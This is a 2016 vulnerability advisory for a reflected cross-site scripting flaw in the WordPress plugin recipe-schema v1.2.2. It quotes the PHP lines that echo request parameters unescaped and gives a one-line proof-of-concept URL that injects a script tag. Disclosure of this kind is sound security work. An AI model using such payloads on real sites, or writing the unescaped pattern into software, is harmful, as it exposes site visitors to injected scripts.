Advisory #: 860
Title: Reflected XSS in wordpress plugin recipe-schema v1.2.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/recipe-schema
Downloads: 2913
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: recipe-schema
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./recipe-schema/inc/recipe-schema-client.php: 635: <input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>" /> 636: <input type="hidden" name="post_type" value="<?php echo $_REQUEST['post_type'] ?>" /> The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./recipe-schema/inc/recipe-schema-client.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/recipe-schema/inc/recipe-schema-client.php?page="><script>alert(1);</script><"